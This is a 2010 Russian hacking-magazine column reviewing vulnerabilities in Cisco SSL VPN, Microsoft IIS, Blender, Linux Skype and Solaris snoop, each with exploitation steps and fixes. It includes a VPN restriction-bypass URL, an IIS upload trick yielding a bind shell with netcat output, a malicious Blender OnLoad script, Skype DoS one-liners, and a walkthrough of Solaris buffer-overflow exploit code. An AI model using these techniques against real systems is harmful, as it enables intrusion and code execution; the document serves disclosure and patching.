Издательский дом ООО "Гейм Лэнд"

ЖУРНАЛ ХАКЕР #134, ФЕВРАЛЬ 2010 г.

Анализ свеженьких уязвимостей

Андрей Комаров (komarov@itdefence.ru)

Рубрику можно переименовывать в «Как страшно жить», учитывая, что с каждым номером, днем и даже часом число обнаруженных брешей в различных системах и ПО не уменьшается, а неизменно растет.

Между прочим, к читателям, деловое предложение на перспективу - если занимаешься анализом кода, изучением аспектов безопасности ПО и можешь чем-то поделиться, то присылай свои замечания или предложения на мою почту. Наиболее интересные из них попадут на страницы рубрики и порадуют глаз. Интереснее всего, если это будут еще неопубликованные нигде эксплоиты или бреши безопасности.

Обход ограничений в CISCO VPN SSL

BRIEF

CISCO VPN SSL - модуль к CISCO ASA и целой линейке продуктов CISCO, который предназначен для расширения сетевого функционала девайса. Он позволяет организовать распределенную VPN-сеть, увеличив сетевые ресурсы инфраструктуры за счет разнесенных через интернет клиентов.

EXPLOIT

CISCO VPN Clientless - ограничивающий клиента опционал, который разрешает или запрещает пользователю VPN обращаться к ресурсам виртуальной частной сети. Реализация механизма ограничений воистину выполнена очень криво. CISCO шифрует ресурс в ужасную строку, затем подставляет к ней специальное слово, конструирует линк и только тогда доверенный пользователь, открывая ее, получает доступ к ресурсу.

Как выяснилось, любой желающий может спокойно обратиться к любому интернет/Intranet-узлу, обходя ограничения системы. редположим, желанный ресурс - http://intranet. Чтобы обратиться к нему, следует произвести следующие действия:

Преобразуем строку к ROT13 - uggc://vagenarg.
Символы ASCII последовательности конвертим в HEX - 756767633a2f2f766167656e617267.
Открываем в браузере линк - https://[CISCOVPNSSL]/+CSCO+00756767633a2f2f766167656e617267++.

Все! Для упрощения процесса злодеи написали скрипт:

TARGETS

Cisco ASA <= 8.x.

SOLUTION

Активируй дополнительные типы ACL-листов (webtype/filter), а также ознакомься с документом «Cisco Understanding Features NotSupported in Clientless SSL VPN».

Обход ограничений безопасности в Microsoft IIS

BRIEF

Уязвимость найдена в известнейшем WEB-сервере от Microsoft. Путем загрузки специально сформированных ASP-файлов на узел существует возможность выполнить произвольный код, пробекдорить систему и далее — делать практически, что угодно. Вызвано это недостаточными ограничениями при проверке расширений файлов.

EXPLOIT

IIS нормально воспринимает имена файлов с расширениями: .asp;.gif, .asp;.jpg, .asp;.exe. При проверке сервер обращает внимание только на первое расширение, а что стоит за «;» - ему без разницы. Методика состоит в том, что, используя такое обстоятельство, мы предварительно готовим злонамеренный файл, загружаем его на сервер (идеально, если это будет картинка), затем обращаемся через WEB для запуска шелл-кода на исполнение. Разработчиками известного дистрибутива Backtrack было создано средство, работающее именно по такой схеме (backtrack.it/~emgent/exploits/IIS-asp.py):

./IIS-asp.py <image.jpg> <номер shellcode>

Опционально, под номером шелл-кода подразумевается 0 - shell_bind_tcp, 1 - meterpreter_bind_tcp, 2 - vncinject_bind_tcp, собственно, одни из самых известных payloads из пакета Metasploit.

root@andrej:/tmp# ./IIS-asp.py image.jpg 0

На выходе получаем image.asp;.jpg, которую требуется прогрузить на WEB-сервер. Конечно, такая возможность бывает далеко не всегда. Тем не менее, если она есть, через форму обзора выбираем наш файл, льем на сервер (например, в папку «images», «avatars», «uploads»). После чего обращаемся к ней:

http://127.0.0.1/images/image.asp;.jpg

root@andrej:/tmp# nc -vv 10.12.6.6 31337 # Zerbion [10.12.6.6] 31337 (?) open # # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # c:\windows\system32\inetsrv>whoami > nt authority\network service1

Порядок!

TARGETS

Microsoft Internet Information Services (IIS) 5.x/6.x.

SOLUTION

Тщательнее фильтровать прогружаемое на сервер содержимое на прикладном уровне.

Инжект кода в файлы проектов Blender

BRIEF

Blender (blender.org) - это известный продукт для 3D-разработчиков и аниматоров, который позволяет использовать средства моделирования, рендеринга, постобработки видео и многое другое! На самом деле полноценно пользоваться им умеют только профессионалы, потому что он непрост в использовании. Попал он в рубрику по той простой причине, что существует возможность использовать его выходные файлы (формат .blend) в качестве вредоносных.

EXPLOIT

Открой текстовый редактор кода Blender (Text Editor), правый клик, «New». В появившемся поле, пишем свой код на Python, например:

import os os.system("calc.exe")

В поле «Text Name» (TX:Text.001) заменяем значение на свое с указанием нашего скрипта TX:myscript. Затем переходим на панель «Buttons Window», из выпадающей панели (panel) выбираем «Script», при этом проверив, что графа «enable script links» активна. Жмем на «New», выбираем нами созданное скриптовое описание (myscript). Из выпадающего меню событий выбери «OnLoad». Теперь сохраняем файл в выходной, это делается из «User Preferences -> File -> Save».

TARGETS

Blender 2.49b, Blender 2.40, Blender 2.35a, Blender 2.34.

SOLUTION

Производитель был уведомлен о подобном способе внедрения злонамеренного кода в свои продукты, но никакой ответной реакции не последовало. Из практических советов можно дать способ изучения .blend-файла - парсить проект на предмет SDNA Scriptlink (http://www.atmind.nl/blender/blender-sdna.html#struct:ScriptLink), куда помещается сам код.

Уязвимости в Linux-версии Skype

BRIEF

Сразу после нового года двое итальянских исследователей обнаружили странный косяк в Skype (и даже несколько). Скорее, эти уязвимости я бы причислил не к каким-то классам конкретных брешей безопасности, а к ошибкам проектирования (design error). Касаются они только Linux-версии, GUI-интерфейс которой написан с использованием средств библиотеки QT (qt.nokia.com/products).

EXPLOIT

1. Реализация pseudo-XSS. Многие поля программы воспринимают теги HTML из-за того, что они не урезаются программно. Возможно, разработчиками подразумевалось, что пользователь может сделать свой ник жирным или добавить контакт в другом цвете с помощью средств разметки, но, по моему мнению - просто не уследили. Попробуй использовать тэг «"><h1><"» в поиске контактов, обзоре для выбора файлов для отправки, полях профиля. Увидел? Конечно, эксплуатировать такое - достаточно трудно, но, если проявить смекалку, можно добиться интересного. Например, поле «Домашняя страница» в профиле доступно для клика сторонним пользователям. Это значит, если мы сумеем засунуть туда реализацию XSS, то вполне вероятно, что, когда интересующийся нашей домашней страницей юзер кликнет по ней, просматривая наш профиль, его ждет беда, хотя бы на уровне «phishing»-атаки:

хakep.ru">Ошибка! Недопустимый объект гиперссылки.>

При таком раскладе в профиле в качестве страницы будет виднеться google.it, а вот после клика пользователь угодит на наш сайт журнала! Естественно, в реалиях место «Хакер.ру» займет ресурс с вредоносным кодом, на котором в том числе может располагаться сценарий проведения XSS-атаки.

2. Denial Of Service - загрузка ЦП на 100%. Для изучения атаки требуется установка xdotool (semicomplete.com/projects/xdotool) - средства имитации виртуальных мыши и клавиатуры. Часто его используют для автоматизации ручных задач в Linux/FreeBSD, например, повторяющихся действий в рамках браузера, какой-то программы и так далее. Впрочем, для Windows таких средств навалом (Automize).
Сначала курсор мыши требуется руками установить в поле ввода сообщения Skype, затем средствами xdotool мы сформируем большую строку, состоящую из знаков пробела, и отправим ее:

sleep 5 && xdotool type "`perl -e "print 'S 'x44801"`" && xdotool key Return

sleep 5 && xdotool type 's/../' && xdotool type "`perl -e "print 'S 'x44801"`" && xdotool type '/' && xdotool key Return

Соответственно, 0x44801 - пробельный заменитель в хексе. Вследствие этого произойдет отказ в обслуживании программы из-за недостаточной проверки входных данных. При некоторых обстоятельствах был замечен «вылет» собеседника из программы. Более безобидные примеры переполнений были обнаружены при организации звонков или посылке SMS на номера, превышающие 89601-символ.

TARGETS

Версии <=2.1 Beta.

SOLUTION

В настоящее время исправлений уязвимости не имеется.

Множественные переполнения буфера в SUN Solaris (snoop)

BRIEF

В августе прошлого года были обнаружены критические уязвимости в утилите snoop (docs.sun.com/app/docs/doc/819-2240/snoop-1m?a=view) ОС SUN Solaris. Snoop представляет собой средство сетевого мониторинга и анализа, некий аналог tcpdump/ethereal. Нетрудно догадаться, что уязвимости, эксплуатируемые в сниферах, как правило, связаны с неправильной обработкой анализируемых пакетов стека разных протоколов. На примере Wireshark:

CVE-2006-3627 - отказ в обслуживании и выполнение произвольного кода при анализе пакетов GSM BSSMAP
CVE-2009-3243 - отказ в обслуживании и выполнение произвольного кода при анализе пакетов TLS
CVE-2009-3550 - отказ в обслуживании и выполнение произвольного кода при анализе DCERPC-пакетов
CVE-2009-3829 - целочисленное переполнение в wiretap/erf.c при анализе беспроводного стека протоколов

Поверь, список можно продолжать еще долго. Из-за обилия и разнообразия протоколов и их структур разработчики иногда здорово халтурят, забывая, что могут допустить огромные бреши в безопасности при таком подходе. На этот раз уязвимость связана с обработкой SMB-пакетов (src/cmd/cmd-inet/usr.sbin/snoop/snoop_smb.c). Взглянем на уязвимый фрагмент кода:

06 static void 07 interpret_negprot(int flags, uchar_t *data, int len, char *xtra) 08 { 09 int length; 10 int bytecount; 11 char dialect[256]; 12 ... 13 protodata = (uchar_t *)data + sizeof (struct smb); 14 protodata++; /* skip wordcount */ 15 16 if (smbdata->flags & SERVER_RESPONSE) { 17 ... 18 } else { 19 /* 20 * request packet: 21 * short bytecount; 22 * struct { char fmt; char name[]; } dialects 23 */ 24 bytecount = get2(protodata); 25 protodata += 2; 26 if (flags & F_SUM) { 27 while (bytecount > 1) { 28 length = sprintf(dialect, (char *)protodata+1); 29 protodata += (length+2); 30 bytecount -= (length+2); 31 }

Обратив внимание на строку 16, можно понять, что, если SMB-пакет не является ответом сервера, то ветвление перейдет на «else» условие и механизм по парсингу пакета (get2()). Продолжается считывание и заполнение структуры данных пакета (27), до метки F_SUM. После чего выполняется копирование части элементов управляемого пользователем пакета в буфер (dialect) с помощью функции sprintf. При этом сам буфер ограничен всего 256 байтами, а никаких проверок на него не производится.

EXPLOIT

Рабочий код эксплоита можно скачать здесь - milw0rm.org/exploits/6328.

Действия атакующего:

attack:/exploits# ./hoagie_snoop -t 192.168.0.1

* [*] attacking 'SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc' on '192.168.0.1' ... * [*] execute 'uname -a > /tmp/.patch.your.system.txt' now ... * [*] done attack:/exploits#

То, что при этом видит администратор системы:

admin@opensolaris:~# snoop port 445 * Using device pcn0 (promiscuous mode) * sh[1]: i??SMBr: not found [No such file or directory] * WARNING: received signal 11 from packet 1 admin@opensolaris:~# cat /tmp/.patch.your.system.txt * SunOS opensolaris 5.11 snv_86 i86pc i386 i86pc Solaris admin@opensolaris:~#

Устройство самого эксплоита крайне просто! Рассмотрим его главную часть, отвечающую за эксплуатацию переполнения буфера. Сначала создается «сырой» сокет для формирования и инжекта своего пакета в сеть:

01 s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 02 if (s == -1) { 03 printf("[*] failed to create raw socket\n"); 04 } else { 05 sin.sin_family = AF_INET; 06 sin.sin_port = htons(port); 07 sin.sin_addr.s_addr = inet_addr(target); 08 09 if (!command) { 10 command = "uname -a > /tmp/.patch.your.system.txt"; 11 } 12 13 printf("[*] attacking '%s' on '%s' ...\n", targets[idx].description, target);

Далее происходит вставка своей исполняемой на удаленной машине команды в буфер, кстати, с помощью безопасной функции snprintf:

1 snprintf(buffer, sizeof(buffer), ";%s;", command); 2 3 /* char dialect[256] */ 4 for (i = strlen(buffer); i < 256; i++) { buffer[i] = SMB_HEADER_FILLER; }

Цикл заполняет буфер dialect до нужной консистенции по структуре. Затем происходит перезапись нужных адресов за буфером для достижения EIP и его последующая перезапись на нужный нам адрес возврата:

1 /* Перезапись bytecount*/ 2 buffer[i++] = SMB_HEADER_FILLER; 3 buffer[i++] = SMB_HEADER_FILLER; 4 buffer[i++] = SMB_HEADER_FILLER; 5 buffer[i++] = SMB_HEADER_FILLER;

1 /* Перезапись length */ 2 buffer[i++] = SMB_HEADER_FILLER; 3 buffer[i++] = SMB_HEADER_FILLER; 4 buffer[i++] = SMB_HEADER_FILLER; 5 buffer[i++] = SMB_HEADER_FILLER;

/* 4 байта еще */ (к слову, их устанавливает GCC для выравнивания стека) 2 buffer[i++] = SMB_HEADER_FILLER; 3 buffer[i++] = SMB_HEADER_FILLER; 4 buffer[i++] = SMB_HEADER_FILLER; 5 buffer[i++] = SMB_HEADER_FILLER;

1 /* Указатель на ebp */ 2 buffer[i++] = SMB_HEADER_FILLER; 3 buffer[i++] = SMB_HEADER_FILLER; 4 buffer[i++] = SMB_HEADER_FILLER; 5 buffer[i++] = SMB_HEADER_FILLER;

1 /* адрес возврата (system())*/ 2 buffer[i++] = targets[idx].address & 0xff; 3 buffer[i++] = (targets[idx].address >> 8) & 0xff; 4 buffer[i++] = (targets[idx].address >> 16) & 0xff; 5 buffer[i++] = (targets[idx].address >> 24) & 0xff;

Финал, отправка красоты:

01 printf("[*] execute '%s' now ...\n", command); 02 03 send_smb_packet(s, &sin, SMB_COMMAND_TRIGGER, buffer); 04 05 printf("[*] done\n"); 06 07 close(s); 08 } 09 10 return 0; 11 }

TARGETS

Sun Solaris 8/9/10.

OpenSolaris < snv_96.

SOLUTION

Патчится это дело заменой небезопасной функции на безопасную - snprintf:

1 while (bytecount > 1) { 2 - length = sprintf(dialect, (char *)protodata+1); 3 + length = snprintf(dialect, sizeof (dialect), 4 + "%s", (char *)protodata+1); 5 protodata += (length+2); 6 + if (protodata >= data+len) 7 + break; 8 bytecount -= (length+2); 9 }

Содержание